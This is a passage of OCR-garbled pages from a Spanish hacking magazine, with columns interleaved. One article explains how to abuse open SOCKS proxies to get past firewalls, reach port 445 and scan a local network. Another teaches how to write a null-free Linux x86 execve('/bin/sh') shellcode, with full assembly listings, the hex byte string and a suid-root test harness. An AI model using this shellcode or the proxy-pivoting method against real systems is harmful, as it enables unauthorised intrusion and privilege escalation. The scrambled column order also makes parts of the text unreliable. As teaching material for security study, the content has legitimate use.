de peticiones SOCKS BIND hacia un servicios no autorizados). realmente se trata de una red local o
p r o x y A n a l o g X q u e s e e n c u e n t ra no, por lo tanto, si alguien troyaniza
públicamente accesible desde fuera de Otro escenario más sencillo podría ser este servidor (por otra parte, algo
la red (no importa donde se encuentre utilizar una sola petición BIND en el fácilmente realizable) puede configurar
este servidor proxy, lo importante es puerto 113 (ident), para que al hacer el parámetro de filtrado en el registro
que tanto desde dentro como desde funcionar un cliente de IRC conectando de windows para que el enlazado de IP
f u e ra s e a a c c e s i b l e ) . E s e p a r d e al servidor a través del proxy de se produzca desde el interfaz de internet
peticiones se realizarán a intervalos AnalogX, el servidor de IRC mande una y no desde el interfaz local. Esto haría
regulares cada 2 minutos (que es el petición ident al supuesto proxy para inútil un escaneo desde el interior de la
tiempo máximo que tiene una petición autorizar la conexión, creyendo que se red en la búsqueda de proxys ocultos.
BIND para aceptar una conexión de está identificando localmente, cuando
entrada). La IP que se requiere en la en la realidad se está identificando Pero vamos a ver que se puede atravesar
petición BIND será la del propio proxy. remotamente puesto que la petición un firewall cuando hay un proxy abierto
El puerto puede ser el que se nos ident del puerto 113 será relevada por instalado en el sistema, con algunos
ocurra, por ejemplo el 2121. Entonces, la petición BIND del proxy hacia nuestro ejemplos reales (figura 11):
alguien desde internet, lo que tiene que servidor ident local que corre dentro del
hacer es configurar el cliente de FTP cliente de IRC. En este caso, cogemos uno de los miles
para conectar a través de ese SOCKS de proxys que podemos encontrar en

29

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


que se trata de una Wingate), sólo
devuelve respuestas cuyo significado se
reduce al código de autorización (90,
0x5A, o ASCII “Z”, para petición
aceptada, y 91, 0x5B, o ASCII “[“ para
petición rechazada). El resto de campos
valen 0 (en fin, otro proxy que rompe
los estándares). En la siguiente petición
vemos que es capaz de conectarse a sí
mismo en el puerto 445. Además
haciendo un barrido de direcciones
locales, vemos que a través del servidor
SOCKS se puede conectar a las
direcciones 192.168.0.1 y 192.168.0.3
en el puerto 445, es decir, que tras ese
proxy podemos entrar en una red local
con al menos 2 ordenadores (el salto
Figura 12: Paseando por una red local. en el orden de IP sugiere que
posiblemente el equipo numerado que
páginas dedicadas a listar proxys (es posible que el proxy de SOCKS tenga asignada la IP 192.168.0.2 se
abiertos de SOCKS. En pocas horas también sea de Microsoft). Todo parece encuentra físicamente conectado, pero
podemos hacernos con listas de miles indicar que estamos en una máquina bien está apagado, o bien por cualquier
de proxys funcionales. Hay programas que ejecuta windows. ¿Y si ahora motivo rechaza la conexión hacia el
que sirven para comprobar si estos probamos a conectar al puerto 445 del puerto 445, incluso podría estar
proxys funcionan o no (yo utilizo el servidor proxy, utilizando para ello una corriendo un Linux).
programa Charon; http://rhino.deny.de, petición SOCKS para que se conecte
y en general recomiendo visitar todas con él mismo?. El resultado es que la En este ejemplo he de comentar que se
las páginas alojadas en respuesta del servidor SOCKS nos indica ha tenido que “adivinar” qué tipo de
http://www.deny.de). que el servicio está abierto y listo para direcciones utiliza esa red local. Ahora
transferir datos. Efectivamente hemos bien, sabemos que si en realidad se
Tomamos uno de los proxys de la lista pasado a través del cortafuegos. hubiera tratado de un proxy AnalogX,
(por cuestión de privacidad he omitido con una simple petición podríamos haber
expresamente los 2 últimos octetos del Si nos fijamos bien, en la llamada al averiguado la IP del interfaz local de la
IP) y probamos a conectar directamente programa c2b, cuando realizamos la máquina que ejecuta el servidor Proxy,
al puerto 445 de la máquina que corre petición CONNECT, en los bytes 3 y 4 y así deducir los tipos de subred y sus
ese proxy. Sabemos que en ese puerto tenemos los valores 1 y 189 máscaras.
bajo windows normalmente corre un respectivamente. Esto es porque al ser
servicio vulnerable que puede el puerto mayor de 255, el valor se
proporcionarnos fácilmente una shell, reparte en los 2 bytes, de manera que
así que se trata de un puerto con el 1*256+189=445. Esto hay que tenerlo
que un atacante desearía poder conectar. en cuenta al hacer las pruebas, ya que Como conclusión de este artículo, me
Vemos que la respuesta es un TIMEOUT, si hubiéramos puesto 0 y 445 en los gustaría hacer ver que hasta el más
lo que indica que la llamada de conexión bytes 3 y 4 respectivamente, no simple de los protocolos implementados
ha sido filtrada por un firewall (aunque funcionaría porque en realidad en un servidor puede ser vulnerable
aquí sólo se muestra una vez, se ha estaríamos tratando de conectar al desde varias vertientes. Incluso vemos
repetido varias veces para asegurar que puerto 189 (resto de 445 entre 256). que a una vulnerabilidad en concreto
no se trata de un error de red temporal). se le puede dar tantos usos como
Pero esto no se limita a poder conectar podamos imaginar.
Probamos a conectar con el IP del con servicios del mismo servidor proxy,
servidor de debian.org a través del sino que nos permite acceder al interior Implementar un servidor SOCKS no es
SOCKS que hemos elegido. Vemos que de una red local, como se ve en el muy difícil. Implementar un buen
efectivamente conecta. Ahora siguiente ejemplo (figura 12): servidor SOCKS ya es mucho más
intentaremos ver si el servidor de complicado. No sólo se requiere entender
SOCKS corre algún servicio en el puerto Ahora tomamos otro proxy de la lista. bien el estándar sino que además debe
21. Así que utilizaremos como IP de Primero trataremos de identificarlo de pensarse en todas las posibilidades
destino la IP del servidor SOCKS, viendo viendo si conecta a sí mismo al puerto que pudieran suceder (para eso están
que la petición es aceptada y además 21. Como vemos, la petición es los Betatesters), y aún así, no siempre
que el proxy en el puerto 21 corre un autorizada, aunque la respuesta es algo estaremos exentos de talones de
servidor FTP programado por Microsoft peculiar. Este servidor (el cual vemos Aquiles. Hace un par de días escuché

30

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


“de pasada” una conversación entre 2 adecuadamente para que el relevo de Para cualquier pregunta sobre este tema
personas cualesquiera, donde una de datos por parte del proxy se permita o podéis participar en el foro de
ellas comentaba las bondades de uno no siempre de una forma lógica, es hackxcrack (http://www.hackxcrack.
de los últimos cortafuegos “que bloquea decir, sabiendo que equipos tienen dere- com/phpBB2/index.php)", d o n d e
todo lo que le eches”. Los lectores de cho a ello, y hacia o desde qué dirección. cualquiera de las eminencias en redes
nuestra comunidad sabemos muy bien que se dejan caer de vez en cuando por
que realizar afirmaciones tan categóricas Por otra parte muchas veces se instalan allí, estará dispuesto/a a resolver dichas
puede dejarnos, en el mejor de los proxys de SOCKS sin necesidad de ello, dudas.
casos, en ridículo. Una prueba de ello puesto que para redes pequeñas, con
es este artículo. hacer NAT desde un cortafuegos suele Nos vemos en el Foro.
ser suficiente. Desde redes mayores
Una protección adecuada al problema puede utilizarse sin problemas
expuesto es configurar las reglas IPTABLES.

COLABORA Y GANA DINERO CON NOSOTROS

ESCRIBIENDO CONSIGUIENDO
ARTÍCULOS PUBLICIDAD

HACKEANOS!!! HACKEANOS!!! HACKEANOS!!!

31

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


En este artículo vamos a aprender a crear una shellcode básica. Lo haremos en GNU/Linux, puesto
que es ideal para iniciarse en esto de las shellcodes, ya que la programación de éstas en entornos
M$ Windows es mucho más compleja. Sería recomendable tener una mínima base de conocimientos
de ensamblador para x86, aunque se explicarán las instrucciones de ensamblador que usaremos,
así como los registros del procesador, intentando que se pueda leer y comprender el artículo sin
tener conocimientos previos en este campo.

Una shellcode no es más que un bloque de código máquina Vamos a ver ahora qué es eso del ensamblador y cuáles
que se inyectará en un programa y se ejecutará. La forma son sus instrucciones, y aprenderemos a programar un
de conseguir esto dependerá de cada situación, pudiendo pequeño Hola mundo en ensamblador para GNU/Linux.
ser en la explotación de un buffer overflow, de un bug de Para empezar, veamos los registros del procesador. Un
format string, o cualquier otro tipo de vulnerabilidad. Para registro no es más que una zona de memoria interna al
conseguir dicho bloque de código, primero habrá que saber procesador, de 32 bits en el caso de la arquitectura Intel
un poco de ensamblador, y a su vez deberemos hacer que x86, que podremos utilizar como variables desde el
cumpla algunos requisitos básicos: ensamblador.

Reducido tamaño: Nos interesa que el número Existen diversos tipos de registros, entre los cuales
de bytes sea pequeño, para poder explotar tenemos:
vulnerabilidades en las que tenemos una limitación
de espacio debido al tamaño del buffer o a otras Registros de propósito general: EAX, EBX, ECX,
cosas. EDX, ESI, EDI. Los usaremos para almacenar
variables, direcciones de memoria, como contador
Autocontenido: Puesto que el código se va a en un bucle, etc.
ejecutar dentro de otro proceso, debe ser un código
totalmente autocontenido, que no necesite nada más Registros de control: ESP, EIP, EBP... Estos
para ejecutarse, y que no dependa de la posición de registros contienen información importante de nuestro
memoria en la que se encuentre. programa. ESP indica la dirección de la cima de la
pila (Stack Pointer), EBP indica la base del macro
Sin bytes nulos: No debe contener ningún byte actual de la pila , es decir, el lugar donde empiezan
de valor 00, ya que lo más probable es que vayamos las variables locales de la función que se está
a poner la shellcode en una cadena y un byte nulo ejecutando en este momento (Base Pointer),y EIP
indicaría el final de ésta, truncando así nuestro contiene la dirección de la siguiente instrucción que
código. ejecutará el procesador (Instruction Pointer).

32

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Habréis notado que todos estos registros %eax. Para los valores numéricos ocurre 2, y copiaría ese valor en eax. La
empiezan por E. Esto es debido a que un caso similar: en la sintaxis de Intel diferencia con el mov, es que en el mov
cuando se diseñó la arquitectura Intel se utiliza el valor tal cual, o añadiéndole se copiaría el valor almacenado en
x86 de 32 bits, se quiso que fuese los caracteres 0x delante si se trata de ebx+4*ecx+2, y no la dirección
compatible con la arquitectura de 16 un valor hexadecimal, mientras que en ebx+4*ecx+2. Espero que esté claro
bits, y por ello se cogieron los mismos AT&T se debe poner el signo del dólar ;-).
registros y se les añadió una E delante delante de ellos, como por ejemplo
(de Extended), haciéndolos de 32 bits $0x1A para poner el número 1A en
en lugar de 16. Por esta razón, podemos hexadecimal (26 en decimal). Por su
utilizar el registro AX para referirnos a parte, los punteros en Intel se indican
los 16 bits más bajos del registro EAX, poniendo el registro correspondiente push <origen> : Con esta instrucción
y de la misma manera con todos los entre corchetes, mientras que en AT&T metemos en la pila el valor de <origen>,
demás registros. Además, podemos se pone entre paréntesis. que puede ser un valor numérico, un
referirnos, dentro de estos 16 bits, a registro... Para los que no sepáis qué
los 8 bits más bajos con AL y a los 8 Nosotros vamos a utilizar la sintaxis de es la pila, basta con que recordéis que
bits más altos con AH, y lo mismo para Intel por ser más clara (al menos para es una estructura de memoria en la que
el resto de registros (ver figura 1). Con mí :-P ), aunque veremos también el se van almacenando variables
esto podremos conseguir, en ciertas equivalente en sintaxis AT&T cuando temporales. Solo es posible almacenar
ocasiones, una shellcode más pequeña a c a b e m o s d e p r o g ra m a r n u e s t ra y extraer datos en la cima de la pila.
o eliminar bytes nulos de la shellcode, shellcode, para que podáis ver las
aspectos muy importantes en la diferencias. Así pues, pasamos ahora a pop <registro> : Almacena el valor
programación de las mismas como ya ver las distintas instrucciones que utiliza- situado en lo más alto de la pila en el
he comentado antes. remos en formato Intel: registro indicado en <registro>. Es la
operación contraria a la anterior.

mov <destino>,<origen> : Copia el


valor de origen en destino. La variable add <destino>, <origen> : Añade el
origen puede ser un valor numérico, un valor de origen a destino. Por ejemplo
registro, o lo que hay en la dirección add eax, ebx sería equivalente a la
almacenada por un registro, utilizando operación eax = eax + ebx.
Figura 1 .- Divisiones de EAX para ello un puntero. Para quien no lo
sub <destino>, <origen> : Igual que
sepa, en C un puntero no es más que
Antes de pasar a ver las instrucciones la anterior pero con una resta en lugar
un tipo de variable que contiene una
disponibles en el lenguaje ensamblador, de una suma.
dirección de memoria de otra variable,
debo deciros que existen dos sintaxis por medio de la cual podemos modificar inc <destino> : Incrementa en 1 el
de ensamblador para Intel x86. Por un la variable original. destino.
lado, tenemos la sintaxis Intel y por el
otro lado la sintaxis AT&T. Con ambas Como ya he dicho antes, un puntero se dec <destino> : Decrementa en 1 el
sintaxis se pueden hacer las mismas indica encerrando entre corchetes el destino.
cosas, pero se escriben de forma registro que contiene la dirección de
distinta. Una misma instrucción en Intel xor <destino>,<origen> : Almacena la
memoria que nos interesa. Así, si
y en AT&T tiene el siguiente formato: operación lógica <origen> XOR
ejecutamos la instrucción mov eax, [ecx]
<destino> en <destino>.
, suponiendo que en ecx está el valor
Intel : instrucción 0xbffffd89, en eax se guardará el valor Existen más operaciones de este tipo,
<destino>,<origen> que haya en la dirección 0xbffffd89. Si pero nosotros no usaremos más que
AT&T: instrucción <origen>, pusiéramos mov eax, ecx , estaríamos XOR. En la tabla 1 podéis ver la llamada
<destino> almacenando en eax el valor de ecx, es tabla de verdad de la operación lógica
decir 0xbffffd89. XOR. La tabla de verdad de una
Además de la diferencia en el orden de operación lógica (o una función lógica)
los parámetros de cada instrucción, lea <destino>, <origen> : Esta representa la salida de la función para
existe una diferencia de nomenclatura instrucción es como el mov, solo que todas las entradas posibles de ésta.
en lo referente a los registros, variables en lugar de cargar el valor de <origen>
y valores numéricos, así como en las en <destino>, carga su dirección (Load
instrucciones que usan punteros. En la Effective Address).
variante de Intel, el nombre de un
registro se pone tal cual, por ejemplo Por ejemplo, si hacemos lea eax, [ebx
eax, mientras que en AT&T se pondría + 4*ecx + 2] calcularía ebx + 4*ecx + Tabla 1 - Tabla de verdad XOR

33

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


por comodidad) no es más que un salida limpia de un programa deberíamos
servicio que nos proporciona el sistema hacer lo siguiente:
operativo. Valiéndonos de este servicio,
jmp <dirección> : Salta de forma seremos capaces de acceder a archivos, mov eax, 1
incondicional a la dirección indicada, y ejecutar otros programas, y un sinfín mov ebx, 0
sigue la ejecución desde allí. de cosas más que las instrucciones int 0x80
básicas del lenguaje ensamblador no
call <dirección> : Salta a la dirección nos permiten. (ver pantalla1)
indicada, almacenando el valor de
retorno en la pila, para cuando sea En el archivo /usr/include/asm/unistd.h En el caso de que nuestra syscall
necesario. Se utiliza para crear funciones de tu GNU/Linux podrás encontrar una necesite más de 5 parámetros, no
dentro del código. lista con las distintas llamadas al sistema podremos usar los registros arriba
ret : Se utiliza para volver al punto y su número asociado, que nos servirá expuestos, pues no caben todos los
donde se llamó a una función mediante para llamarlas desde nuestra shellcode. parámetros necesarios. En dicho caso
call. Entre la llamada a call y la llamada Y bien, ¿Cómo se llama a una syscall se usará la pila, y se pondrá en ebx la
a ret, la pila no debe variar. Por tanto, desde ensamblador? Pues aunque dirección en la que comienzan los
todo aquello que almacenemos en la pudiera parecer complicado, es muy parámetros, haciendo algo así:
pila después de llamar a call, deberemos fácil. En primer lugar, debemos incluir
extraerlo antes de que se llame a ret. en el registro eax el número de syscall mov eax, ZZ
Si no lo hacemos, cuando ejecutemos obtenido de unistd.h (ver pantalla 1). mov ebx, 0
call el programa sacará el último valor Una vez hecho esto, buscamos en la push ebx
de la pila, que debería ser la dirección página del manual de la syscall (man 2 push param_6
de retorno, pero será cualquier otra syscall) correspondiente qué parámetros push param_5
cosa y nuestro programa fallará. necesita, y metemos en ebx, ecx, edx, push param_4
edi y esi los parámetros por orden. En push param_3
jne <dirección> : Salta si la última este momento estamos preparados para push param_2
comparación realizada era falsa (jump llamar a la syscall, lo que se conseguirá push param_1
n o t e q u a l ) . A s í m i s m o, e x i s t e j e mediante una llamada a la interrupción mov ebx, esp
<dirección> que salta si dicha 0x80. int 0x80
comparación tuvo éxito. Existen muchos
más saltos condicionales, pero como no Por ejemplo, para llamar a la syscall Con esto, después de empujar a la pila
vamos a usar ninguno, pongo este exit, vemos que es el número 1, y en los 6 parámetros, copiamos en ebx la
simplemente para que sepáis que su página del manual podemos leer que dirección de la cima de la pila, que
existen. únicamente necesita un parámetro, que apunta en este momento a param_1, y
int <valor> : Manda una señal al es el código de salida del programa. Si ya podemos llamar la syscall ZZ con el
sistema, llamada interrupción. La éste es 0, significa que el programa uso de int 0x80. Hay que tener en cuenta
usaremos para llamar a las funciones salió correctamente. Por tanto, para una que 'debajo' de todos los parámetros
del sistema, o syscalls, que veremos en
el siguiente apartado.

Como ya he comentado antes, estas


instrucciones no son más que una
pequeña parte del juego de instrucciones
de nuestros procesadores. Si queréis
ver referencias más completas, podéis
hacer un info nasm (una vez lo hayáis
instalado, claro) , y podréis ver un
manual de nasm y una referencia de
instrucciones de Intel x86. Además,
también podéis visitar la web de Intel
y buscar el juego de instrucciones
completo, aunque supongo que lo mejor
es ir practicando y buscando lo que se
necesite en cada momento ;-).

Una llamada al sistema (que llamaré


por su abreviación en inglés, syscall, Pantalla 1 - Listado de syscalls del archivo unistd.h

34

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


tiene que haber un nulo, por eso he es el deseado :-). Ahora ya sabemos
empujado a la pila en primer lugar ebx, section .data crear un programa básico en
en el cual había copiado un 0 con mov. mensaje db "Hola HxC!" ensamblador, usando llamadas al
De todas formas, este caso es muy raro, sistema y la interrupción 0x80. Aunque
pues la gran mayoría de syscalls utiliza section .text este programa chorra no nos serviría
5 o menos parámetros. global _start tenerlo como shellcode en un ataque
real, vamos a suponer que sí nos sirve
_start: e intentaremos pasarlo a una shellcode.
Como sabemos, el programa tiene varias
mov eax, 4 secciones, lo que hace que use varios
Bueno, pues ahora que ya sabemos más mov ebx, 1 segmentos de la memoria. Sin embargo,
o menos la forma en que funciona esto mov ecx, mensaje esto a nosotros no nos sirve, porque
del ensamblador, vamos a crear un mov edx,9 una shellcode debe ser autocontenida,
pequeño Hola Mundo para ver si funciona int 0x80 es decir, un fragmento de bytes que se
;-). Antes de empezar, deberás instalar puedan ejecutar por sí solos, así que
el programa nasm que es el que mov eax, 1 d e b e m o s e v i t a r e l u s o d e va r i a s
usaremos para ensamblar nuestros mov ebx, 0 secciones.
programas. Si utilizas debian o int 0x80
derivadas, con un simple apt-get install El único problema para esto es el uso
nasm lo tendrás instalado, y si no, Listado 1: Código hola_hxc.asm de la variable mensaje, así que debemos
siempre puedes recurrir al código fuente, Como puedes ver en dicho listado, se buscar otro método para almacenarla.
q u e e n c o n t ra r á s e n h t t p : / / n a s m . han declarado dos secciones para el El método más utilizado en estos casos
sourceforge.net. ejecutable, la sección data que albergará consiste en el siguiente código:
nuestras variables, y la sección text que
En primer lugar, buscamos entre la lista contendrá el código del programa. jmp short ida
de syscalls a ver cuál nos puede servir Además, en la sección text se ha definido vuelta:
para escribir algo por pantalla, y nos el punto de entrada del programa, pop edi
llama la atención la syscall llamada _start, que será usado por el enlazador [ Aquí nuestro código]
write, que tiene el número 4. Como no ld para indicar dónde debe empezar la ida:
sabemos usarla, vamos a llamar a la ejecución del programa. Esto no hará call vuelta
página del manual a ver qué nos dice: falta cuando creemos una shellcode pues db “Nuestra Cadena”
el programa ya habrá sido iniciado.
SYNOPSIS Con este código, primero saltaremos a
#include <unistd.h> En la sección data hemos declarado la ida (el atributo short lo único que indica
variable mensaje con la orden mensaje es que es un salto corto, y utiliza solo
size_t write(int fd, const void *buf, size_t count); db “Hola HxC!”. La directiva de nasm 1 byte para el desplazamiento del salto.
db significa define byte, e indica que Si no lo pusiéramos nos aparecería un
Como puedes ver, utiliza tres queremos definir unos datos, y mensaje byte nulo). Una vez allí, lo que hará el
argumentos. Si leemos un poco, se nos es el nombre con el que nos referiremos c a l l v u e l t a s e r á vo l ve r a v u e l t a ,
explica que el primero de ellos es un a esos datos. Por tanto, con la etiqueta almacenando previamente la dirección
descriptor de fichero, que indicará dónde mensaje podremos obtener la dirección de la cadena en la pila. Una vez en
queremos escribir. El segundo es un de nuestra cadena. En la sección text vuelta, hacemos un pop edi (o a
puntero a la dirección en la que se está el código para llamar a write y cualquier otro registro), y ya tenemos
almacena aquello que queremos escribir, además una llamada a exit(0) para que la dirección de nuestra cadena en edi
y el tercero el número de bytes a salga del programa correctamente. ;-). Con este truco logramos eliminar
escribir. Según esto, en eax deberemos Compilamos y ejecutamos, para ver el el uso de varias secciones, con lo que
poner un 4, en ebx el descriptor resultado el código queda como en el Listado 2.
correspondiente a la salida estándar (el
1), en ecx la dirección del buffer que tuxed@athenea:~/Articulos HxC/shellcodes$ No debes olvidar poner al principio del
contiene nuestro mensaje, y en edx la nasm -f elf hola_hxc.asm -o hola_hxc.o código la instrucción BITS 32, que indica
longitud del mensaje. a nasm que genere código para 32 bits,
tuxed@athenea:~/Articulos HxC/shellcodes$
puesto que si no lo haces, no funcionará.
ld hola_hxc.o -o hola_hxc
De todo esto, lo único que necesitamos Antes no era necesario porque usábamos
saber es la dirección del mensaje y su la salida en formato ELF, y en ese caso
tuxed@athenea:~/Articulos HxC/shellcodes$
longitud. Pero, ¿cómo guardamos una nasm crea código de 32 bits. Desde este
./hola_hxc
cadena en memoria en ensamblador? momento, todos los códigos en
Para explicaros esto voy a poner el Hola HxC! ensamblador que aparecerán llevan esa
código completo, que podéis ver en el directiva al principio, no la olvides ;-).
Listado 1. Como se puede observar, el resultado

35

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


BITS 32
jmp short ida
vuelta:
pop edi
mov eax, 4
mov ebx, 1 Pantalla 3 - Nuestro particular Hola Mundo, sin nulos y totalmente autocontenido.
mov ecx, edi
mov edx,9 Bien, ¿de dónde provienen estos nulos? (ver pantalla 3).
int 0x80 Estos nulos suelen venir de dos sitios.
Como puedes observar, he cambiado
Por un lado, tenemos los mov <registro,
algunos mov por inc y dec, puesto que
mov eax, 1 0, que evidentemente van a crearnos
ocupan menos en memoria y realizaban
mov ebx, 0 nulos. Por otra parte, tenemos las
la misma función en este caso, pues se
int 0x80 instrucciones mov <registro>,número
trataba de poner 1 en un lugar donde
ida: o similares, que cuando número es
había 0, y luego poner 0 en un lugar
call vuelta pequeño, crean varios nulos, puesto
donde había 1.
db "Hola HxC!" que se deben llenar los 32 bytes que
tiene el registro. Ahora sí, este código sería perfecta-
Listado 2: Código hola_hxc_2.asm
mente válido para su uso como una
Ahora ya tenemos la shellcode en un Así pues, para eliminar los primeros, shellcode, pues es totalmente
único segmento, pero ya no podemos tendremos que encontrar alguna forma autocontenido, y además no contiene
ejecutarla como antes, puesto que ya de hacer nulo un registro. Si recuerdas nulos. Lo que deberíamos hacer es pasar
no tiene la estructura de un archivo ELF, la tabla de verdad de la operación XOR, los bytes que nos muestra el hexedit al
sino simples bytes que codifican las podrás darte cuenta de que si haces un formato de C y usarlos en nuestros
instrucciones de nuestro código. XOR de dos cosas iguales, nos queda exploits o pruebas de cualquier tipo.
un 0 siempre. Así pues, si hacemos un Para probar que la shellcode funciona
Sin embargo, aun no podemos xor de un registro sobre sí mismo, correctamente, vamos a usar el código
considerar ese pedazo de bytes como estaremos haciendo nulo dicho registro del Listado 4, que funciona creando un
una shellcode válida, pues nos queda ;-). puntero a función, hace que apunte a
o t r o p r o b l e m a q u e r e s o l v e r. S i la shellcode, y luego la ejecuta.
recuerdas, al principio puse como La eliminación del segundo tipo de nulos
requisito que la shellcode no tuviera no requiere el uso de ninguna operación No vamos a utilizar dicho código aquí
bytes nulos, puesto que si los tiene lógica, sino el uso de registros más porque no nos sirve de nada un programa
nuestro código se verá truncado al pequeños. Así, si estamos usando un que escriba en pantalla Hola HxC!. Si te
meterlo en una cadena de caracteres, número de un byte distinto de 0 ( desde apetece, eres libre de probarlo, solo tienes
y no se podrá ejecutar entero. 1 hasta 255), usaremos operaciones que poner los bytes dentro de la cadena
con registros de un byte, concretamente, code. Luego lo haremos con una shellcode
Así pues, vamos a ver cómo eliminar los registros equivalentes a los 8 bytes de verdad ;-).
dichos bytes nulos, pero antes quiero más bajos (AL, BL, CL, DL ... ), con lo
BITS 32
que los veas. Compila el código del que eliminaremos los nulos. Sin
jmp short ida
Listado 2 con la orden nasm archivo.asm embargo, debemos tener en cuenta que
vuelta:
-o archivo_salida y abre el archivo habrá que hacer nulo el resto del
pop edi
generado con un editor hexadecimal, registro, así que primero haremos nulo
xor eax, eax
como hexedit (que puedes encontrar en el registro entero, y luego moveremos
xor ebx, ebx
http://www.chez.com/prigaux/ ), y verás a él el valor que necesitemos.
xor edx, edx
algo muy similar a lo que muestra la
mov al, 4
pantalla 2, en la que además he marcado Si aplicamos estos sencillos cambios a
inc ebx
en rojo algunos de los bytes nulos que nuestro código, queda lo que puedes
mov ecx, edi
hay. ver en el Listado 3. Si abres el archivo
mov dl, 9
compilado como hicimos antes, mediante
int 0x80
hexedit, verás que ya no contiene nulos

mov al, 1
dec ebx
int 0x80
ida:
call vuelta
db "Hola HxC!"

Pantalla 2 – Nuestro programa en hexadecimal Listado 3 Código hola_hxc_3.asm

36

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Empezaremos por almacenar conve- 7 posiciones, el valor que hay en al. Así
char code[]=""; //Aquí nuestro código nientemente el nombre del ejecutable, pues, ahora ya tenemos todo excepto
main() { así nuestra shellcode empieza teniendo la dirección de la cadena /bin/sh, que
void (*a)() = (void *)code; el siguiente aspecto: está alojada en edi y hay que ponerla
a(); en [edi+8], sustituyendo a XXXX. Así
} jmp short ida ya tendremos todo almacenado en
vuelta: memoria, solo nos faltará montar los
Listado 4: Código para probar la pop edi parámetros de la función.
shellcode
ida: Debemos poner en ebx la dirección de
call vuelta la variable, así que mejor cambiaremos
db “/bin/sh” edi por ebx en todos los sitios donde
ha aparecido hasta ahora, para optimizar
Bien, ya sabemos hacer una shellcode Sin embargo esto no es correcto, porque el espacio. En ecx debemos almacenar
que diga Hola HxC!, pero lo que necesitaremos meter un byte nulo al la dirección de ebx + 8 bytes, y en edx
realmente nos interesa es ejecutar una final de dicho nombre para indicar que la dirección de ebx + 12 bytes. Esto lo
shell, pero ¿cómo lo hacemos? Si ahí acaba la cadena. Además, necesi- haremos con la instrucción lea, que
buscamos un poco entre las syscalls del tamos dos punteros, uno al inicio de la carga dichas direcciones en el operando
archivo unistd.h de nuestro linux, pronto cadena y otro con dirección nula, así destino. Después de esto nos queda
encontraremos la syscall execve, con el que añadiremos espacio para el byte poner el número 11 en eax y llamar a
número 11. Una vez más, miraremos nulo y los dos punteros detrás del la interrupción 0x80. El código queda
en la página del manual para ver qué nombre del ejecutable, quedando así: como aparece en el Listado 5.
hay que pasarle a execve. De allí he
extraído el siguiente trocito: jmp short ida BITS 32
vuelta: jmp short ida
SYNOPSIS pop edi vuelta:
pop ebx
#include <unistd.h> ida: xor eax, eax
call vuelta mov [ebx+7], al
int execve(const char *filename, db “/bin/sh0XXXXYYYY” mov [ebx+12],eax
char *const argv [], char *const mov [ebx+8], ebx
envp[]); Ahora tenemos en edi la dirección de la lea ecx, [ebx+8]
primera letra de nuestra cadena. Para lea edx, [ebx+12]
El primer parámetro es el nombre de terminarla correctamente deberemos mov al, 11
nuestro ejecutable, el segundo un vector copiar un nulo donde está el 0, siete int 0x80
de cadenas, que no son más que bytes desde el principio de la cadena. ida:
punteros a la primera posición de Además, queremos que el segundo de call vuelta
memoria de la cadena, y el último un los punteros (el espacio que ocupa YYYY) db "/bin/sh0XXXXYYYY"
vector de variables de entorno. Estos contenga cuatro bytes nulos. Para ello
Listado 5: Nuestra shellcode lista para
últimos vectores deben acabar con un hacemos nulo uno de los registros, por compilarse
valor NULL, es decir, 4 bytes nulos. ejemplo eax, y copiamos un byte (al)
sobre el 0 y cuatro bytes (el registro Bueno, esto ya casi está. Solo nos queda
Po r t a n t o, d e b e r e m o s e l e g i r q u é entero) sobre el segundo de los compilar el código que hemos creado y
ejecutamos. La shell del sistema se punteros, quedando así: abrirlo con hexedit para pasarlo a
encuentra por defecto en /bin/sh y es nuestro programa de prueba. Tras abrir
el candidato ideal a ser ejecutado. Como jmp short ida con hexedit, queda la pantalla 4. Lo
no queremos ejecutar la shell con ningún vuelta: único que debemos hacer para pasarlo
parámetro especial, el siguiente pop edi a nuestro programa de prueba, es pasar
elemento en el vector serán cuatro bytes xor eax, eax cada uno de los bytes que salen en el
nulos. Además, como no queremos mov [edi+7], al hexedit al formato \xAA, donde AA es
variables de entorno especiales para mov [edi+12], eax el valor del byte en el hexedit. Así,
nuestra shell, el tercer argumento será nuestra shellcode quedará como puedes
también un puntero con valor NULL. ida: ver en el Listado 6.
call vuelta
Con esto ya sabemos lo que db “/bin/sh0XXXXYYYY” Ahora ponemos el código obtenido
necesitamos, así que construiremos dentro del programa del Listado 4, y lo
estas estructuras en la pila, rellenaremos Puede que os llame la atención el uso compilamos. Una vez hecho esto, nos
los registros con los valores adecuados, de los corchetes. Indican que copiamos hacemos root y le damos permisos suid,
y llamaremos a nuestro programa. en la dirección a la que apunta edi más chown. Volvemos a nuestro usuario,

37

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


ahorraríamos un poco de espacio. Por
otra parte, es posible que encontremos
instrucciones extrañas de Intel x86 que
se puedan usar en lugar de dos
instrucciones de las que hemos usado
nosotros, con el consiguiente ahorro de
espacio.
Pantalla 4 - Opcodes de nuestra shellcode ya compilada :-).
Sin embargo, el objetivo de este artículo
cambiando su propietario a root con dicho call unos cuantos bytes de datos, e ra d a r u n a s m í n i m a s b a s e s d e
y el gdb los ha interpretado como programación en ensamblador y
char code[] = "\xEB\x16\x5B\x31\ enseñaros a crear vuestra primera
xC0\x88\x43\x07\x89\x43\x0C\x8 tuxed@athenea:~/Articulos HxC/shellcodes$ wc scode2 -c shellcode, y que veáis que no es tan
9\x5B\x08\x8D\x4B" 45 scode2 complicado. Si queréis profundizar más
tuxed@athenea:~/Articulos HxC/shellcodes$ gdb prueba
"\x08\x8D\x53\x0C\xB0\x0B\xCD\ en esto de la programación en
(gdb) disass code code+45
x80\xE8\xE5\xFF\xFF\xFF\x2F\x62 ensamblador desde GNU/Linux, no tenéis
Dump of assembler code from 0x80494c0 to 0x80494ed:
\x69" 0x080494c0 <code+0>: jmp 0x80494d8 <code+24> más que pensar qué es lo que queréis
"\x6E\x2F\x73\x68\x30\x58\x58\x 0x080494c2 <code+2>: pop %ebx hacer, mirar qué syscall/s os puede/n
58\x58\x59\x59\x59\x59"; 0x080494c3 <code+3>: xor %eax,%eax ayudar en vuestra tarea, informaros en
0x080494c5 <code+5>: mov %al,0x7(%ebx) su correspondiente página del manual,
